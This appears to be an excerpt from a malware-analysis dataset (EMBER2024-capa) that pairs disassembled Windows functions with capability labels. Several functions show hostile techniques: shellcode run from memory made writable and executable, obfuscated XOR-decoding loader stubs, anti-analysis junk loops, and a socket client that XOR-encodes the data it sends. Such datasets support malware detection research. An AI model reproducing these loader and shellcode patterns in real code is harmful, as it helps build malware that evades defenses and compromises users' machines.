joyce8/EMBER2024-capa huggingface dataset:
Function at 0x62fc16a4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x62fc1707
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62fc17c9
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x62fc173c
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62fc17c9
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x62fc1766
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62fc17c9
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x62fc17ad
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62fc17c9
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x62fc1939
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x62fc1d00
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x62fc603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x62fc6034]
sub esp, 4
test ebx, ebx
je 0x62fc1d4b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x62fc1d44
test esi, esi
je 0x62fc1d44
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x62fc1d20
mov dword [esp], 0x62fc603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x62fc1f30
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x62fc41f4
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x62fc1f80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x62fc2058
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x62fc1fbe
cmp eax, 4
jne 0x62fc1fe0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x62fc1fce
cmp edx, 4
je 0x62fc1fce
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.62fc1f30
Function at 0x1000135b
Capabilities:
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x90
mov eax, dword [0x10007040]
xor eax, ebp
mov dword [ebp + 0x70], eax
mov eax, dword [ebp + 0x7c]
push esi
push edi
mov edi, ecx
push eax
mov dword [ebp - 0x14], edi
call dword [sym.imp.msvcr100.dll__strdup]
mov esi, eax
cmp byte [esi], 0x5c
pop ecx
jne 0x100013fe
push 3
pop edi
test edi, edi
jle 0x100013c2
inc eax
push 0x5c
push eax
call dword [sym.imp.msvcr100.dll_strchr]
pop ecx
pop ecx
test eax, eax
je 0x100013a8
cmp byte [eax], 0x5c
jne 0x100013a8
dec edi
jmp 0x1000138c
push esi
call dword [sym.imp.msvcr100.dll_free]
mov dword [esp], str.Malformed_UNC
push dword [ebp - 0x14]
call sub.java.dll__JNU_ThrowIOException_8
xor al, al
jmp 0x1000142e
jne 0x100013a8
push 0x7f
mov byte [eax + 1], 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
xor eax, eax
push eax
push eax
push eax
push esi
call dword [sym.imp.kernel32.dll_GetVolumeInformationA]
push esi
test eax, eax
jne 0x1000141e
call dword [sym.imp.msvcr100.dll_free]
mov dword [esp], str.GetVolumeInformation_failed
push dword [ebp - 0x14]
call sub.java.dll__JNU_ThrowIOExceptionWithLastError_8
jmp 0x100013be
push 0x5c
push esi
call dword [sym.imp.msvcr100.dll_strchr]
pop ecx
pop ecx
test eax, eax
jne 0x100013c4
push esi
call dword [sym.imp.msvcr100.dll_free]
mov dword [esp], str.Absolute_filename_not_specified
push edi
jmp 0x100013b9
call dword [sym.imp.msvcr100.dll_free]
mov eax, dword [ebp - 0x18]
shr eax, 3
pop ecx
and eax, 1
mov ecx, dword [ebp + 0x70]
pop edi
xor ecx, ebp
pop esi
call fcn.100032c8
add ebp, 0x74
leave
ret
Function at 0x100024be
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x100024cd
pop dword [ebp - 0x44]
mov eax, 0x100024cd
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xa69edac8
add dword [ebp - 0x54], 0xa7b36a83
mov dword [ebp - 0x50], 0x74783702
add dword [ebp - 0x50], 0xbdbb1543
mov dword [ebp - 0x4c], 0x397bc573
add dword [ebp - 0x4c], 0x12d07ebb
mov dword [ebp - 0x48], 0x8f193e96
sub dword [ebp - 0x48], 0x8f193e96
lea eax, [ebp - 0x54]
push eax
mov eax, 0xd13463ce
sub eax, 0xc1342386
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xf6c35c3
sub dword [ebp - 0x54], 0x9af9cc6d
mov dword [ebp - 0x50], 0x7bcfef7e
add dword [ebp - 0x50], 0xc59c71f7
mov dword [ebp - 0x4c], 0xc8958dec
sub dword [ebp - 0x4c], 0x65262180
mov dword [ebp - 0x48], 0x5fad841f
sub dword [ebp - 0x48], 0x5fad841f
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x37a73
push 0
call eax
mov ecx, 0x116107ed
add ecx, 0xee9f447a
mov edx, eax
mov ebx, 0xe845aae
sub ebx, 0xfe83c4ae
add ebx, dword [ebp - 0x44]
mov edi, 0x3be976b0
sub edi, 0xa73b587e
sub dword [ebp - 0x40], edx
mov esi, dword [ebx]
sub dword [ebp - 0xc], 0x3a75db50
xor esi, edi
add dword [ebp - 4], ebx
mov dword [edx], esi
add dword [ebp - 8], edx
add edx, 4
add ebx, 0x9d74acd
sub ebx, 0x9d74ac9
loop 0x100025e5
add eax, 0x17a10337
add eax, 0xe8602138
mov ebx, eax
add eax, 0xae8e9078
sub eax, 0xae8e9073
mov ecx, 0x4b214df8
add ecx, 0xc4deb208
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x100032c8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10007040]
jne 0x100032d2
repz ret
jmp fcn.100036ab
Function at 0x420bb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x420bbf
pop dword [ebp - 0x34]
mov eax, 0xc63c9bec
add eax, 0x3a056fd3
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3b9f6
push 0
mov eax, 0x9be58c2a
add eax, 0x645cc5ee
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x8c2e3da8
sub ecx, 0x8c2dff94
xor esi, esi
add esi, eax
mov edx, 0x435400
add edx, dword [ebp - 0x34]
mov edi, 0x484c1366
xor dword [ebp - 4], 0xf140078d
mov ebx, dword [edx]
mov dword [ebp - 0x28], 0xce5d5be4
xor ebx, edi
sub dword [ebp - 0x28], ecx
mov dword [esi], ebx
xor dword [ebp - 0x2c], ecx
add esi, 0xb47a9b52
sub esi, 0xb47a9b4e
add edx, 4
loop 0x420c14
add eax, 0xfb4288c8
add eax, 0x4be625b
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x404f6d
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
cmp dword [0x241ed14], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
jne 0x404fa6
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov eax, dword [0x433738]
and dword [ebp - 8], 0
mov dword [ebp - 0x24], eax
mov eax, dword [str.prg]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 8]
call fcn.00404f66
mov eax, dword [0x433740]
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [0x433744]
add ebx, 0x23f
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0x20
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, edi
shl eax, 4
add eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov eax, dword [0x241ed14]
cmp eax, 0xfa9
jne 0x40500e
mov dword [0x241ed10], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40501c
and dword [0x2400a30], 0
mov ecx, dword [ebp - 8]
mov esi, edi
shr esi, cl
lea eax, [ebx + edi]
mov dword [ebp - 0x20], eax
mov dword [0x241ed0c], 0xf4ea3dee
add esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
xor dword [ebp - 4], eax
xor esi, dword [ebp - 4]
cmp dword [0x241ed14], 0x213
jne 0x40505d
push 0
push 0x40370c
push 0x403724
call dword [sym.imp.KERNEL32.dll_CopyFileA]
sub dword [ebp - 0xc], esi
cmp dword [0x241ed14], 0xc
jne 0x40508c
and dword [ebp - 0x44], 0
xor eax, eax
lea edi, [ebp - 0x40]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x60]
push eax
push 0x403760
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
mov edi, dword [ebp - 0x10]
mov esi, dword [ebp - 0xc]
mov eax, esi
lea ecx, [ebp - 4]
call fcn.00404f60
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
lea eax, [ebx + esi]
xor dword [ebp - 4], eax
shr esi, cl
add esi, dword [ebp - 0x2c]
cmp dword [0x241ed14], 0x121
jne 0x4050cc
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
xor dword [ebp - 4], esi
sub edi, dword [ebp - 4]
add ebx, 0x61c88647
dec dword [ebp - 0x14]
mov dword [ebp - 0x10], edi
jne 0x404fe2
cmp dword [0x241ed14], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x405105
xor eax, eax
push eax
push eax
push 0x403768
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
mov eax, dword [ebp - 0xc]
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
leave
ret 4
Function at 0x405112
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1954
call fcn.00416e90
mov eax, dword [0x241ed14]
mov ecx, dword [0x2400a34]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x4051d8
mov edi, ecx
mov ebx, eax
cmp dword [0x241ed14], 0x959
jne 0x4051c8
push esi
lea eax, [ebp - 0x1150]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x40379c
push 0x4037c0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
lea eax, [ebp - 0x950]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push esi
lea eax, [ebp - 0x1950]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_QueryDepthSList]
push 0x403828
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
call fcn.00404f6d
add edi, 8
dec ebx
jne 0x40513e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4051f7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x42ff9c
call fcn.0042fc28
sub esp, 0xcc8
push ebx
push esi
xor esi, esi
cmp dword [0x241ed14], 0x1c9
push edi
jne 0x4052b3
push esi
push esi
push 0x403874
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push 0x4038b4
push 0x4038e0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea eax, [ebp - 0x4c]
push eax
call fcn.00405574
push ecx
push ecx
mov eax, esp
mov dword [ebp - 4], esi
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404f2d
fstp st(0)
call fcn.00407338
push esi
call fcn.0040810f
pop ecx
push esi
call fcn.00408295
pop ecx
push esi
call fcn.00407e3e
pop ecx
lea eax, [ebp - 0x30]
push eax
call fcn.00405855
lea eax, [ebp - 0xd4]
push eax
mov byte [ebp - 4], 1
call fcn.004058a1
lea eax, [ebp - 0xd4]
call fcn.0040541c
lea eax, [ebp - 0x30]
call fcn.00405891
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.004055ef
xor edi, edi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp edi, 0x2b259d
jle 0x4052df
cmp dword [ebp - 0x14], 0x785074d5
jne 0x4052e8
inc edi
cmp edi, 0x6dcc4e
jl 0x4052b5
add dword [0x241ed14], 0x1134b
push 0x403944
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x241ed04], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
push 0x1000
push dword [0x241ed14]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
xor edi, edi
mov dword [0x2400a34], eax
cmp dword [0x241ed14], esi
jbe 0x40535e
cmp dword [0x241ed14], 0xa8
mov eax, dword [0x241f778]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2400a34]
mov byte [ecx + edi], al
jne 0x405355
call ebx
inc edi
cmp edi, dword [0x241ed14]
jb 0x405332
xor edi, edi
mov eax, dword [0x241ed14]
add eax, edi
cmp eax, 0xe
jne 0x4053a5
push 0x403954
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push esi
lea eax, [ebp - 0x4d4]
push eax
push 0x4038cc
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
call ebx
inc edi
cmp edi, 0x4fe161
jl 0x405360
mov edi, 0x4cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
lea eax, [ebp - 0xcd4]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x4053b3
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0xcaaaff1
jg 0x4053e4
inc edi
cmp edi, 0x1f05843
jl 0x4053cc
call fcn.00405112
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x26
jne 0x4053f9
call fcn.004051dd
inc esi
cmp esi, 0x409495
jl 0x4053e9
push 0x403974
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x408e9f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4322a4]
jne 0x408ea9
repz ret
jmp fcn.0041111c

Function at 0x4166d8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040e0f1
and dword [ebp - 4], 0
cmp dword [0x434d04], 0
mov ebx, eax
jne 0x416789
push 0x4034d4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41683a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4034c8
push edi
call esi
test eax, eax
je 0x41683a
push eax
call fcn.0040e07f
mov dword [esp], 0x4034b8
push edi
mov dword [0x434d04], eax
call esi
push eax
call fcn.0040e07f
mov dword [esp], 0x4034a4
push edi
mov dword [0x434d08], eax
call esi
push eax
call fcn.0040e07f
mov dword [esp], 0x403488
push edi
mov dword [0x434d0c], eax
call esi
push eax
call fcn.0040e07f
pop ecx
mov dword [0x434d14], eax
test eax, eax
je 0x416789
push 0x403470
push edi
call esi
push eax
call fcn.0040e07f
pop ecx
mov dword [0x434d10], eax
mov eax, dword [0x434d10]
cmp eax, ebx
je 0x4167e1
cmp dword [0x434d14], ebx
je 0x4167e1
push eax
call fcn.0040e0fa
push dword [0x434d14]
mov esi, eax
call fcn.0040e0fa
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4167e1
test edi, edi
je 0x4167e1
call esi
test eax, eax
je 0x4167d8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4167d8
test byte [ebp - 0xc], 1
jne 0x4167e1
or dword [ebp + 0x10], 0x200000
jmp 0x41681a
mov eax, dword [0x434d08]
cmp eax, ebx
je 0x41681a
push eax
call fcn.0040e0fa
pop ecx
test eax, eax
je 0x41681a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41681a
mov eax, dword [0x434d0c]
cmp eax, ebx
je 0x41681a
push eax
call fcn.0040e0fa
pop ecx
test eax, eax
je 0x41681a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x434d04]
call fcn.0040e0fa
pop ecx
test eax, eax
je 0x41683a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41683c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100013d0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007b22a
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x100da130]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x1a8], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x1a8], 0x2a264024
mov ecx, dword [ebp - 0x1a8]
mov dword [esi + 0xac], eax
mov word [esi + 0xb4], 0x25
mov dword [esi + 0xa8], 0xffffffff
mov dword [esi + 0xb0], ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100052c0
mov esp, ebp
pop ebp
ret

Function at 0x100015a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100da130]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
call fcn.100016e0
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0xa8], eax
cmp eax, 0xffffffff
jne 0x100015fa
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100052c0
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x100015e6
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100015e6
push 4
lea eax, [ebp - 0x24]
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
mov dword [ebp - 0x24], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001698
push eax
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0x2bf20
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10001be0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10001f20
mov ecx, dword [ebp - 4]
add esp, 0x1c
mov dword [esi + 0xa4], eax
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.100052c0
mov esp, ebp
pop ebp
ret 8
Function at 0x10001b00
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 0xc]
push esi
xor edx, edx
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jle 0x10001b27
mov al, byte [edx + edi]
xor al, 0x91
sub al, 0x67
mov byte [edx + edi], al
inc edx
cmp edx, ecx
jl 0x10001b18
mov ebx, dword [ebp + 0x10]
mov edx, dword [sym.imp.WS2_32.dll_send]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp + 8], ecx
cmp ecx, ebx
jb 0x10001b8a
lea esp, [esp]
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ebx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001b61
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b42
cmp esi, 0xf
je 0x10001bce
mov esi, dword [ebp - 4]
add esi, eax
push 0xa
mov dword [ebp - 4], esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
sub ecx, ebx
mov dword [ebp + 8], ecx
cmp ecx, ebx
jae 0x10001b40
test ecx, ecx
jle 0x10001bbc
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ecx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001bb2
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b90
cmp esi, 0xf
je 0x10001bce
mov esi, dword [ebp - 4]
add esi, eax
or eax, 0xffffffff
cmp esi, dword [ebp + 0xc]
pop edi
cmove eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10001f20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
push 0
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
push 0
push 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x10]
push eax
push 0x10002370
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10005a35
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret